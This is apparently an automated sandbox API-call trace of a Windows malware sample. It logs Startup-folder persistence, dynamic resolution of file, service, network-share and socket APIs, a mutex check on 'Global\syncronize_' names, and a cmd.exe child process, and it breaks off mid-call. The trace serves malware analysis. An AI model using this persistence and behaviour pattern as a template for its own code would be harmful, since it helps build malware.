1 [0200.611] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.612] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.613] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.617] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.618] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.618] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.619] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.620] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.623] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.833] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.837] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0200.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0200.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.845] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.845] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0200.845] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.851] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.853] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.855] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.858] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.858] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.859] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.862] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.862] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.863] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.865] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.866] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.868] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.868] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.869] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.869] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.870] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0201.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0201.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0201.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0201.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0201.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0201.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0201.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0201.086] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0201.086] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0201.094] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.094] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.094] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0201.097] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0201.097] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.098] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0201.418] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 Thread: id = 56 os_tid = 0xe7c Thread: id = 57 os_tid = 0xe84 Thread: id = 58 os_tid = 0xe8c Thread: id = 59 os_tid = 0xe90 Thread: id = 60 os_tid = 0xe94 Thread: id = 61 os_tid = 0xe98 Process: id = "6" image_name = "windowssystem32file.pe32.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe" page_root = "0x399ce000" os_pid = "0xdfc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012605" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 31 os_tid = 0xe00 [0172.709] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74bd0000 [0172.709] GetProcAddress (hModule=0x74bd0000, lpProcName="GetProcAddress") returned 0x74be51b0 [0172.709] GetProcAddress (hModule=0x74bd0000, lpProcName="GetModuleHandleW") returned 0x74be50d0 [0172.709] GetProcAddress (hModule=0x74bd0000, lpProcName="FindNextFileW") returned 0x74c3ee40 [0172.709] GetProcAddress (hModule=0x74bd0000, lpProcName="FindClose") returned 0x74c3ed70 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="MoveFileW") returned 0x74c1e500 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetFileSizeEx") returned 0x74c3ef40 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetModuleFileNameW") returned 0x74be5090 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetFileAttributesW") returned 0x74c3ef10 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="ExitProcess") returned 0x74be3cb0 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCommandLineW") returned 0x74be4cc0 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetComputerNameW") returned 0x74c132c0 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetComputerNameA") returned 0x74c13780 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateMutexW") returned 0x74c3eb70 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrlenW") returned 0x74be6c70 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrlenA") returned 0x74be6c50 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCurrentProcess") returned 0x74c3ea10 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="WaitForSingleObject") returned 0x74c3eca0 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetLogicalDrives") returned 0x74be0d20 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="GetTickCount") returned 0x74c3dd50 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="DeleteFileW") returned 0x74c3ed40 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="WideCharToMultiByte") returned 0x74be6b10 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x74c3ebb0 [0172.710] GetProcAddress (hModule=0x74bd0000, lpProcName="Sleep") returned 0x74be6760 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="LeaveCriticalSection") returned 0x775cb250 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="ReadFile") returned 0x74c3f090 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateFileW") returned 0x74c3ed10 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="OpenMutexW") returned 0x74c3ebf0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="EnterCriticalSection") returned 0x775cb2d0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="WaitForMultipleObjects") returned 0x74c3ec80 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrcmpiW") returned 0x74be6bf0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrcmpiA") returned 0x74be6bd0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="DeleteCriticalSection") returned 0x775afb90 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="ReleaseMutex") returned 0x74c3ec20 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="CloseHandle") returned 0x74c3eab0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="GetVersion") returned 0x74be56c0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateThread") returned 0x74be46b0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="ExpandEnvironmentStringsW") returned 0x74be4a40 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="QueryPerformanceCounter") returned 0x74be5da0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="QueryPerformanceFrequency") returned 0x74be5dc0 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCurrentProcessId") returned 0x74c3ea20 [0172.711] GetProcAddress (hModule=0x74bd0000, lpProcName="SetFileAttributesW") returned 0x74c3f100 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="GetVolumeInformationW") returned 0x74c3f020 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="WriteFile") returned 0x74c3f180 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="SetFilePointerEx") returned 0x74c3f130 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="SetEndOfFile") returned 0x74c3f0e0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="FindFirstFileW") returned 0x74c3edf0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="GetProcessHeap") returned 0x74be51f0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapReAlloc") returned 0x775bf630 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapAlloc") returned 0x775c2dc0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapFree") returned 0x74be57f0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="CreatePipe") returned 0x74be4590 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="SetHandleInformation") returned 0x74c3eae0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateProcessW") returned 0x74be4610 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="CompareStringW") returned 0x74be4430 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="CompareStringA") returned 0x74be4410 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="OpenProcess") returned 0x74be5cc0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="TerminateProcess") returned 0x74be67e0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="GetSystemTime") returned 0x74be54e0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="SystemTimeToFileTime") returned 0x74be67a0 [0172.712] GetProcAddress (hModule=0x74bd0000, lpProcName="GetLastError") returned 0x74be5010 [0172.713] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateToolhelp32Snapshot") returned 0x74c1edc0 [0172.713] GetProcAddress (hModule=0x74bd0000, lpProcName="Process32NextW") returned 0x74c1f8f0 [0172.713] GetProcAddress (hModule=0x74bd0000, lpProcName="Process32FirstW") returned 0x74c1f750 [0172.713] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74b20000 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="RegOpenKeyExW") returned 0x74b3e580 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="RegQueryValueExW") returned 0x74b3e5a0 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="RegSetValueExW") returned 0x74b3f530 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="RegCloseKey") returned 0x74b3ed60 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="OpenProcessToken") returned 0x74b3efb0 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="GetTokenInformation") returned 0x74b3ee90 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="OpenSCManagerW") returned 0x74b40540 [0173.189] GetProcAddress (hModule=0x74b20000, lpProcName="OpenServiceW") returned 0x74b3fa20 [0173.190] GetProcAddress (hModule=0x74b20000, lpProcName="CloseServiceHandle") returned 0x74b3fc00 [0173.190] GetProcAddress (hModule=0x74b20000, lpProcName="ControlService") returned 0x74b526d0 [0173.190] GetProcAddress (hModule=0x74b20000, lpProcName="QueryServiceStatus") returned 0x74b42380 [0173.190] GetProcAddress (hModule=0x74b20000, lpProcName="EnumDependentServicesW") returned 0x74b52f70 [0173.190] GetProcAddress (hModule=0x74b20000, lpProcName="EnumServicesStatusExW") returned 0x74b3fc80 [0173.190] LoadLibraryA (lpLibFileName="user32.dll") returned 0x741f0000 [0173.519] GetProcAddress (hModule=0x741f0000, lpProcName="SystemParametersInfoW") returned 0x7421f210 [0173.519] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75580000 [0173.559] GetProcAddress (hModule=0x75580000, lpProcName="ShellExecuteExW") returned 0x756e4730 [0173.559] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77580000 [0173.559] GetProcAddress (hModule=0x77580000, lpProcName="NtQuerySystemInformation") returned 0x775f2070 [0173.559] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73f80000 [0173.614] GetProcAddress (hModule=0x73f80000, lpProcName="WNetCloseEnum") returned 0x73f82640 [0173.614] GetProcAddress (hModule=0x73f80000, lpProcName="WNetOpenEnumW") returned 0x73f82790 [0173.614] GetProcAddress (hModule=0x73f80000, lpProcName="WNetEnumResourceW") returned 0x73f82410 [0173.614] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x773c0000 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="WSAStartup") returned 0x773c5b40 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="socket") returned 0x773d4510 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="send") returned 0x773c5030 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="recv") returned 0x773d0c50 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="connect") returned 0x773c5410 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="closesocket") returned 0x773d0910 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="gethostbyname") returned 0x773f6cb0 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="inet_addr") returned 0x773d9160 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="ntohl") returned 0x773c49d0 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="htonl") returned 0x773c49d0 [0173.617] GetProcAddress (hModule=0x773c0000, lpProcName="htons") returned 0x773d8ff0 [0173.618] GetProcessHeap () returned 0x650000 [0173.618] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20) returned 0x65b248 [0173.618] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6187801398) returned 1 [0173.618] GetTickCount () returned 0x1139a13 [0173.618] GetCurrentProcessId () returned 0xdfc [0173.619] GetTickCount () returned 0x1139a13 [0173.620] GetTickCount () returned 0x1139a13 [0173.620] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20) returned 0x65b270 [0173.620] GetVersion () returned 0x23f00206 [0173.620] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x7) returned 0x666ee0 [0173.620] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x668038 [0173.620] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668038, Size=0x20) returned 0x65aff0 [0173.620] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x65aff0, Size=0x40) returned 0x667848 [0173.620] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x66d530 [0173.620] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279A") returned 0x1ec [0173.620] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666ee0 | out: hHeap=0x650000) returned 1 [0173.620] lstrlenW (lpString="Global\\syncronize_") returned 18 [0173.620] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x667848 | out: hHeap=0x650000) returned 1 [0173.620] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x7) returned 0x666f30 [0173.620] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x668110 [0173.620] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x668110, Size=0x20) returned 0x65aff0 [0173.620] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x65aff0, Size=0x40) returned 0x667800 [0173.620] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x67d538 [0173.621] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279U") returned 0x1f0 [0173.621] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666f30 | out: hHeap=0x650000) returned 1 [0173.621] lstrlenW (lpString="Global\\syncronize_") returned 18 [0173.621] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x667800 | out: hHeap=0x650000) returned 1 [0173.621] GetVersion () returned 0x23f00206 [0173.621] GetCurrentProcess () returned 0xffffffff [0173.621] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0173.621] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0173.621] CloseHandle (hObject=0x1f4) returned 1 [0173.621] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0173.621] ExitProcess (uExitCode=0x0) Thread: id = 32 os_tid = 0xe08 Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x78c7c000" os_pid = "0xe0c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdf0" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012605" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0xe10 [0177.483] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff65ec10000 [0177.483] __set_app_type (_Type=0x1) [0177.483] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff65ec26d00) returned 0x0 [0177.483] __getmainargs (in: _Argc=0x7ff65ec49200, _Argv=0x7ff65ec49208, _Env=0x7ff65ec49210, _DoWildCard=0, _StartInfo=0x7ff65ec4921c | out: _Argc=0x7ff65ec49200, _Argv=0x7ff65ec49208, _Env=0x7ff65ec49210) returned 0 [0177.483] _onexit (_Func=0x7ff65ec27fd0) returned 0x7ff65ec27fd0 [0177.483] _onexit (_Func=0x7ff65ec27fe0) returned 0x7ff65ec27fe0 [0177.483] _onexit (_Func=0x7ff65ec27ff0) returned 0x7ff65ec27ff0 [0177.484] _onexit (_Func=0x7ff65ec28000) returned 0x7ff65ec28000 [0177.484] _onexit (_Func=0x7ff65ec28010) returned 0x7ff65ec28010 [0177.484] _onexit (_Func=0x7ff65ec28020) returned 0x7ff65ec28020 [0177.485] GetCurrentThreadId () returned 0xe10 [0177.485] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe10) returned 0x70 [0177.485] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffdbfd20000 [0177.485] GetProcAddress (hModule=0x7ffdbfd20000, lpProcName="SetThreadUILanguage") returned 0x7ffdbfd3a990 [0177.485] SetThreadUILanguage (LangId=0x0) returned 0x409 [0178.344] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0178.344] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xa12bbcf808 | out: phkResult=0xa12bbcf808*=0x0) returned 0x2 [0178.345] VirtualQuery (in: lpAddress=0xa12bbcf7f4, lpBuffer=0xa12bbcf770, dwLength=0x30 | out: lpBuffer=0xa12bbcf770*(BaseAddress=0xa12bbcf000, AllocationBase=0xa12bad0000, AllocationProtect=0x4, __alignment1=0xffffe681, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0178.345] VirtualQuery (in: lpAddress=0xa12bad0000, lpBuffer=0xa12bbcf770, dwLength=0x30 | out: lpBuffer=0xa12bbcf770*(BaseAddress=0xa12bad0000, AllocationBase=0xa12bad0000, AllocationProtect=0x4, __alignment1=0xffffe681, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0178.345] VirtualQuery (in: lpAddress=0xa12bad1000, lpBuffer=0xa12bbcf770, dwLength=0x30 | out: lpBuffer=0xa12bbcf770*(BaseAddress=0xa12bad1000, AllocationBase=0xa12bad0000, AllocationProtect=0x4, __alignment1=0xffffe681, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0178.345] VirtualQuery (in: lpAddress=0xa12bad4000, lpBuffer=0xa12bbcf770, dwLength=0x30 | out: lpBuffer=0xa12bbcf770*(BaseAddress=0xa12bad4000, AllocationBase=0xa12bad0000, AllocationProtect=0x4, __alignment1=0xffffe681, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0178.345] VirtualQuery (in: 